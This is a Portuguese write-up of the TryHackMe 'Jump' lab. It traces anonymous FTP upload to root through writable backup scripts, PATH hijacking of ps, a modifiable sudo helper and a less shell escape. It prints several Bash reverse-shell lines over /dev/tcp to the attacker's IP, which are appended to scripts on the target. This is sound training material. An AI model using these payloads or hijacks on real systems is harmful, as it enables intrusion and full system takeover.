Jump - Do Recon ao Root: FTP, Reverse Shell e PrivEsc
1. Objetivo e metodologia
A room Jump apresenta uma cadeia de permissões mal configuradas em um servidor Linux. O desafio não é encontrar um único exploit: é reconhecer o serviço, provar cada hipótese e enumerar novamente depois de cada acesso.
FTP anônimo
↓ upload executado pelo pipeline
recon_user
↓ script de backup gravável
dev_user
↓ PATH Hijacking no comando ps
monitor_user
↓ sudo chama um helper modificável
ops_user
↓ Shell Escape no less
root
Walkthrough realizado em um laboratório autorizado do TryHackMe. Os endereços IP são os utilizados nesta sessão e podem mudar ao reiniciar a room.
Alvo: 10.66.130.182
AttackBox: 10.66.120.132
Minha maior dificuldade foi saber o que procurar depois de cada descoberta. O método que funcionou foi:
- Observar: portas, versões, arquivos, permissões, processos.
- Formular uma hipótese: “esse diretório aceita upload?”, “alguém executa este script?”.
- Testar com evidência: resposta do protocolo, arquivo de saída, callback ou identidade da nova shell.
- Confirmar o impacto:
whoami,id, leitura da flag e nova enumeração.
Não confundir possibilidade, teste enviado e execução confirmada.
2. Recon inicial: qual ferramenta usar e o que procurar?
Comecei pelo Metasploit, usando o Nmap integrado:
msfconsole
workspace -a thm
db_status
db_nmap -sV -O 10.66.130.182
services
O primeiro resultado mostrou:
21/tcp ftp vsftpd 3.0.5
22/tcp ssh OpenSSH 9.6p1 Ubuntu
Erro importante: sem -p-, o Nmap normalmente verifica apenas as 1.000 portas TCP mais comuns. Também executei o scanner TCP do Metasploit até a porta 10000; isso não é uma varredura completa.
Para descobrir todos os serviços TCP, prefira:
db_nmap -sS -Pn -p- --open 10.66.130.182
E depois enumere detalhadamente as portas relevantes:
db_nmap -sV -sC -Pn -p21,22 10.66.130.182
O que procurar no resultado?
| Descoberta | Próxima ação |
|---|---|
| Porta aberta | Identificar serviço e versão |
| FTP | Testar login anônimo, listar diretórios, ler arquivos e conferir escrita |
| SSH | Verificar versão, configuração e se já existem credenciais úteis |
| HTTP | Inspecionar páginas, respostas, diretórios, métodos e parâmetros |
| Porta incomum | Verificar se é um serviço persistente ou porta temporária |
| CVE ou módulo de exploit | Confirmar versão afetada e pré-requisitos antes de testar |
Outro erro que cometi: a porta 25318 apareceu aberta uma vez, mas logo estava fechada. O FTP em modo passivo usa portas altas temporárias para transferência de dados; uma porta passageira não prova a existência de outro serviço.
Metasploit: recon não é exploit
Usei:
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.66.130.182
set PORTS 1-10000
set THREADS 20
run
Também pesquisei:
search vsftpd
vulns
O Metasploit mostrou um módulo para o backdoor do vsftpd 2.3.4, mas meu alvo usava vsftpd 3.0.5. Não fazia sentido executar um exploit para outra versão.
A entrada CVE-1999-0497 em vulns registrava o FTP anônimo habilitado, não uma prova de execução remota de comandos. O “SSH Version Scanner” também era uma descoberta de reconhecimento, não uma shell pronta.
Regra: não escolha um exploit porque o nome do serviço coincide. Primeiro verifique versão, requisito, configuração e evidência.
3. Enumeração do FTP
O módulo correto no meu Metasploit era:
use auxiliary/scanner/ftp/ftp_anonymous
set RHOSTS 10.66.130.182
run
Resultado:
[+] Anonymous Read-only access ()
Conectei manualmente:
ftp 10.66.130.182
Name: anonymous
Password: anonymous
Dentro do FTP:
pwd
ls -la
cd pub
ls -la
get README.txt
Diretórios encontrados:
/incoming
/pub
/pub/archive
/pub/uploads
O arquivo tinha nome README.txt. Minha tentativa inicial com get readme.txt falhou: Linux diferencia maiúsculas de minúsculas.
Baixar tudo que for acessível
Em vez de navegar pasta por pasta, usei lftp:
mkdir -p ftp-dump
lftp -u anonymous,anonymous ftp://10.66.130.182 \
-e "mirror --verbose --continue / ./ftp-dump; bye"
find ftp-dump -type f -printf '%p\n'
Resultado: quatro diretórios e somente um arquivo, o README. Não havia arquivos adicionais acessíveis nos diretórios vazios.
O README dizia:
[ recon pipeline ]
All recon jobs must be placed in incoming/.
Files are processed automatically on arrival.
Invalid formats are ignored.
Essa foi a principal pista: um processo automatizado recebe arquivos em incoming/.
4. FTP gravável: não confundir permissão com upload comprovado
Na listagem aparecia:
drwxrwxrwx ... incoming
O Nmap também marcou [NSE: writeable]. Mas o Metasploit havia dito “Read-only”, e minhas primeiras tentativas de put falharam.
Permissão 777 no diretório não garante que o protocolo FTP autorize uploads. Precisava executar a operação de escrita e observar a resposta real do servidor.
Criei um arquivo pequeno:
echo "teste" > /tmp/probe.txt
Teste com curl:
curl -v -T /tmp/probe.txt \
ftp://anonymous:anonymous@10.66.130.182/incoming/probe.txt
Respostas relevantes:
230 Login successful.
250 Directory successfully changed.
STOR probe.txt
150 Ok to send data.
226 Transfer complete.
226 Transfer complete confirmou o upload. Depois consegui fazer o mesmo com o cliente FTP tradicional:
ftp 10.66.130.182
cd incoming
put /tmp/probe.txt probe2.txt
ls -la
Não foi possível determinar exatamente por que as tentativas anteriores falharam. O que ficou comprovado foi que enviar para /incoming com o nome correto funcionava.
Dica para outros serviços HTTP
O mesmo raciocínio vale para testes web: não basta enviar um payload e não receber erro. Compare código HTTP, tamanho da resposta, conteúdo, redirecionamentos, tempo e efeitos no servidor. Uma mudança mensurável pode ser o primeiro sinal de que a entrada foi interpretada.
5. Qual formato o pipeline aceita? Como testar sem ficar no escuro?
Aqui cometi o erro mais importante da room.
Enviei arquivos .txt, .json, .xml, .yaml, .sh e até um .elf. Todos permaneciam no diretório. Isso não demonstrava se haviam sido processados.
Meu primeiro teste Shell era:
echo "echo TEST_OK" > /tmp/test.sh
O problema: se um job remoto executasse echo TEST_OK, a saída iria para o ambiente do processo no alvo — não para meu terminal FTP. Eu não tinha como enxergá-la.
Faça um teste com retorno observável
Uma forma de detectar execução de um script Bash é usar um callback simples, antes de tentar uma shell interativa.
Na AttackBox, abra um listener:
nc -lvnp 4445
Em outro terminal, crie o arquivo:
cat > /tmp/ping.sh <<'EOF'
#!/bin/bash
printf 'EXECUTED: %s\n' "$(id -un)" > /dev/tcp/10.66.120.132/4445
EOF
Envie-o com um nome novo:
curl -v -T /tmp/ping.sh \
ftp://anonymous:anonymous@10.66.130.182/incoming/ping.sh
Se o listener receber EXECUTED: recon_user, temos uma confirmação de que um arquivo .sh foi executado e de qual usuário o executou. Esse exemplo é um procedimento de validação: no meu teste real, a prova definitiva veio pela reverse shell.
O uso de /dev/tcp/ depende do Bash e de conexões de saída permitidas; não receber callback também pode significar bloqueio de rede, e não necessariamente formato inválido.
Método para identificar formatos
- Procure documentação, scripts, nomes de jobs, logs e mensagens do serviço.
- Monte um arquivo pequeno por hipótese (por exemplo, Shell, JSON ou YAML), com conteúdo coerente com o formato.
- Garanta algum resultado visível: callback, resposta, arquivo gerado ou alteração de estado.
- Envie um teste de cada vez, registrando nome, horário e resposta do upload.
- Compare diretórios de entrada e saída; não interprete somente “arquivo sumiu” ou “arquivo ficou” como prova de execução.
- Se um formato apresentar efeito observável, investigue como ele é processado antes de enviar payloads mais complexos.
Lição: upload confirmado ≠ processamento confirmado ≠ execução confirmada.
6. FTP para recon_user: primeira reverse shell
Como o pipeline da room executava scripts Shell enviados para incoming/, criei um script Bash para retornar uma conexão.
Na AttackBox:
cat > /tmp/recon.sh <<'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.66.120.132/4444 0>&1
EOF
Em outro terminal, iniciei o listener antes do upload:
nc -lvnp 4444
Enviei o script:
curl -v -T /tmp/recon.sh \
ftp://anonymous:anonymous@10.66.130.182/incoming/recon.sh
O listener recebeu uma shell. Confirmei:
whoami
id
hostname
pwd
cat /home/recon_user/flag.txt
Resultado:
uid=1001(recon_user) gid=1001(recon_user)
groups=1001(recon_user),1002(dev_user),1005(devops)
As mensagens no job control in this shell são comuns em reverse shells sem terminal interativo completo. Elas não significam que a conexão falhou.
O que olhar PRIMEIRO em toda nova shell?
whoami; id; hostname; pwd
sudo -n -l
ls -la /home
find /opt /usr/local/bin -type f -writable \
-printf '%M %u:%g %p\n' 2>/dev/null
ps auxww | grep -E 'cron|/opt/|python|backup|health|deploy'
Confira também, conforme a pista encontrada:
cat /etc/crontab
ls -la /etc/cron.d
systemctl list-timers --all --no-pager
Se a shell for limitada, prefira comandos curtos e redirecione erros com 2>/dev/null. Uma tarefa rápida pode não aparecer no ps; nesse caso, observe repetições ou use pspy em laboratório, se disponível.
Toda vez que mudar de usuário, repita a enumeração. As permissões e oportunidades também mudam.
7. recon_user → dev_user: script de backup modificável
Meu id trouxe a pista:
groups=... 1002(dev_user),1005(devops)
Ou seja, recon_user fazia parte do grupo dev_user. Por isso, já consegui ler a flag de /home/dev_user/flag.txt antes de assumir a identidade daquele usuário.
Ler a flag não significa ter escalado para dev_user. Para confirmar a etapa era necessário obter uid=1002.
Procurei arquivos graváveis:
find /opt /usr/local/bin -type f -writable \
-printf '%M %u:%g %p\n' 2>/dev/null
Encontrei:
-rwxrwxr-x dev_user:dev_user /opt/dev/backup.sh
As permissões rwxrwxr-x permitem escrita para o proprietário e para o grupo. Como eu pertencia ao grupo, conseguia alterar o script.
Também foi possível observar o processo sendo executado como dev_user:
dev_user ... /bin/bash /opt/dev/backup.sh
Agora existiam as duas condições necessárias: arquivo modificável + execução com identidade superior.
Iniciei outro listener na AttackBox:
nc -lvnp 5556
Na shell recon_user, preservei o conteúdo existente e acrescentei:
cp /opt/dev/backup.sh /tmp/backup.sh.original
cat >> /opt/dev/backup.sh <<'EOF'
/bin/bash -c 'bash -i >& /dev/tcp/10.66.120.132/5556 0>&1'
EOF
Quando a automação rodou novamente:
whoami → dev_user
id → uid=1002(dev_user)
Por que >> e não >? O primeiro acrescenta conteúdo; o segundo sobrescreve. Preservar as instruções anteriores reduz interferência no serviço.
8. dev_user → monitor_user: PATH Hijacking
Na nova shell, repeti o reconhecimento. Um arquivo chamou atenção:
-rw-rw-r-- dev_user:dev_user /opt/dev/bin/ps
Era estranho haver um arquivo chamado ps dentro de /opt/dev/bin, já que o comando normal está em /usr/bin/ps.
Verifiquei o serviço:
systemctl cat healthcheck.service
cat /usr/local/bin/healthcheck
Configuração encontrada:
[Service]
User=monitor_user
Environment=PATH=/opt/dev/bin:/usr/local/bin:/usr/bin
ExecStart=/usr/local/bin/healthcheck
O script fazia:
while true; do
ps aux | grep -v grep
sleep 5
done
A falha: o serviço roda como monitor_user e chama apenas ps, sem caminho absoluto. O PATH procura primeiro em /opt/dev/bin, onde dev_user controla o arquivo ps.
monitor_user executa healthcheck
↓ chama "ps"
PATH = /opt/dev/bin : /usr/local/bin : /usr/bin
↓ primeiro encontrado
/opt/dev/bin/ps ← controlado por dev_user
Meu arquivo ps não tinha o bit de execução (-rw-rw-r--), então, como proprietário, precisei ativá-lo com chmod +x. Ser membro de um grupo com escrita não basta, por si só, para alterar o modo do arquivo.
Na AttackBox:
nc -lvnp 5558
Na shell dev_user:
cp /opt/dev/bin/ps /tmp/ps.original
cat > /opt/dev/bin/ps <<'EOF'
#!/bin/bash
/bin/bash -c 'bash -i >& /dev/tcp/10.66.120.132/5558 0>&1'
exec /usr/bin/ps "$@"
EOF
chmod +x /opt/dev/bin/ps
A conexão recebida confirmou:
whoami → monitor_user
id → uid=1003(monitor_user)
A linha exec /usr/bin/ps "$@" chama o ps real com os argumentos originais após o retorno da shell. Como a reverse shell interativa pode manter o script bloqueado, é importante restaurar o arquivo original depois de validar a etapa.
Lição: não procure apenas arquivos pertencentes ao grupo devops. Minha busca com -group devops retornou vazio, mas existia um arquivo do próprio dev_user que dava acesso ao próximo usuário. Comece com -writable; refine depois.
9. monitor_user → ops_user: sudo e script auxiliar
Na shell monitor_user, a primeira checagem foi:
sudo -n -l
Resultado:
(ops_user) NOPASSWD: /usr/local/bin/deploy.sh
Isso permite executar aquele comando específico como ops_user, sem senha.
Inspecionei antes de executar:
cat /usr/local/bin/deploy.sh
ls -l /opt/app/deploy_helper.sh
cat /opt/app/deploy_helper.sh
O script autorizado pelo sudo fazia:
#!/bin/bash
cd /opt/app 2>/dev/null
./deploy_helper.sh
E o helper pertencia a monitor_user:
-rwxr-xr-x monitor_user:monitor_user /opt/app/deploy_helper.sh
Essa é a vulnerabilidade: não posso editar o deploy.sh autorizado, mas posso editar o arquivo que ele executa. Quando invocado via sudo, o helper roda como ops_user.
Na AttackBox:
nc -lvnp 5559
Na shell monitor_user:
cp /opt/app/deploy_helper.sh /tmp/deploy_helper.original
cat >> /opt/app/deploy_helper.sh <<'EOF'
/bin/bash -c 'bash -i >& /dev/tcp/10.66.120.132/5559 0>&1'
EOF
sudo -n -u ops_user /usr/local/bin/deploy.sh
No listener:
whoami → ops_user
id → uid=1004(ops_user)
Aqui não havia necessidade de esperar uma tarefa agendada: o comando sudo era o gatilho.
10. ops_user → root: Shell Escape com less
Mais uma nova shell, mais uma enumeração:
whoami
id
sudo -n -l
A saída mostrou:
(root) NOPASSWD: /usr/bin/less
O less é um visualizador de arquivos, mas permite executar comandos externos por meio de !, quando essa funcionalidade não está desabilitada.
Como eu estava em uma reverse shell, melhorei o terminal:
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Abri um arquivo com o less autorizado:
sudo -n /usr/bin/less /etc/hosts
Dentro do less, digitei:
!/bin/bash
Depois confirmei:
whoami
id
cat /root/flag.txt
A evidência de sucesso é uid=0(root), não apenas o fato de o less ter aberto.
Lição: em todo sudo -l, procure programas com capacidade de executar outros comandos. O GTFOBins documenta o comportamento do less e de outros binários com shell escape.
11. Checklist que vou usar nas próximas rooms
Recon remoto
- Varrer todas as portas TCP, não apenas o conjunto padrão.
- Identificar serviço, versão e configuração em cada porta.
- Para FTP: testar login, listar, baixar e validar upload com resposta
226. - Para HTTP: comparar código, corpo, tamanho, tempo e redirecionamento das respostas.
- Ler READMEs, configurações, comentários, nomes de arquivos e pistas da room.
- Antes de usar um exploit, confirmar versão afetada e condições necessárias.
Ao descobrir uma possibilidade de execução
- Qual componente recebe a entrada? Onde ela fica armazenada?
- Quem processa ou executa o arquivo?
- Qual formato ou estrutura é esperado?
- Como vou observar o resultado? Resposta, log, arquivo gerado, callback?
- O listener já está aberto antes do gatilho?
- Upload, processamento e execução foram comprovados separadamente?
Em toda nova shell
whoami; id; hostname; pwd
sudo -n -l
ls -la /home
find /opt /usr/local/bin -type f -writable \
-printf '%M %u:%g %p\n' 2>/dev/null
ps auxww | grep -E 'cron|backup|deploy|health|/opt/'
Depois, conforme os indícios:
- Ver grupos e caminhos aos quais eles dão acesso.
- Ver quem é proprietário dos arquivos e quem pode modificá-los.
- Ver scripts de cron/systemd e qual usuário os executa.
- Ver comandos chamados sem caminho absoluto e a ordem de
PATH. - Ver scripts auxiliares chamados por um executável permitido no sudo.
- Confirmar a nova identidade com
id, não somente com a flag.
12. Tabela rápida de comandos e operadores
| Comando / sintaxe | Para que serve |
|---|---|
db_nmap -sS -Pn -p- --open IP |
SYN scan de todas as portas TCP; mostra abertas |
db_nmap -sV -sC -p21,22 IP |
Detecta versões e executa scripts padrão |
services / vulns |
Consulta serviços e descobertas no banco Metasploit |
auxiliary/scanner/ftp/ftp_anonymous |
Testa login FTP anônimo |
lftp ... mirror / destino |
Baixa diretórios recursivamente |
curl -v -T arquivo ftp://.../incoming/ |
Envia arquivo e mostra respostas FTP |
nc -lvnp PORTA |
Aguarda conexões TCP na porta escolhida |
bash -i |
Abre Bash interativo |
/dev/tcp/IP/PORTA |
Abre conexão TCP com redirecionamento do Bash |
>& / 0>&1 |
Redireciona fluxos de saída/entrada para a conexão |
cat >> arquivo <<'EOF' |
Acrescenta bloco de texto diretamente no terminal |
find ... -writable -printf '%M %u:%g %p\n' |
Lista arquivos graváveis com permissões, dono, grupo e caminho |
2>/dev/null |
Esconde mensagens de erro do comando |
systemctl cat servico |
Inspeciona a configuração do serviço systemd |
sudo -n -l |
Mostra permissões sudo sem pedir senha |
sudo -n -u usuario comando |
Executa comando autorizado como outro usuário |
chmod +x arquivo |
Adiciona permissão de execução |
exec /usr/bin/ps "$@" |
Substitui processo pelo ps real, preservando argumentos |
!/bin/bash no less |
Abre um shell externo a partir do visualizador |
Dicas para a shell limitada
Para listar somente caminhos sem abrir editor:
find /opt -maxdepth 4 -type f -printf '%p\n' 2>/dev/null
Para evitar listagens enormes, limite primeiro a pesquisa a /opt, /usr/local/bin e aos diretórios relacionados à pista descoberta. Use cat, head, grep e find antes de recorrer a editores.
Ao terminar os testes, restaure scripts modificados usando as cópias feitas antes das alterações. No caso de /opt/dev/bin/ps, restaure também as permissões originais (664). Isso evita deixar automações quebradas ou listeners reconectando.
13. Conclusão
A Jump mostrou cinco falhas diferentes, mas o raciocínio para encontrá-las foi sempre o mesmo:
Encontrar uma superfície
↓
Entender permissões e contexto
↓
Identificar quem consome ou executa
↓
Criar um teste com resultado observável
↓
Confirmar qual usuário executou
↓
Repetir a enumeração
Os pontos que mais precisei corrigir foram fazer a varredura completa, não confiar cegamente no rótulo “Read-only”, não confundir arquivo enviado com arquivo executado e não parar de enumerar após a primeira flag.
Mais importante que decorar uma reverse shell é saber responder: quem executa esse arquivo, com quais privilégios, e qual evidência comprova que meu teste funcionou?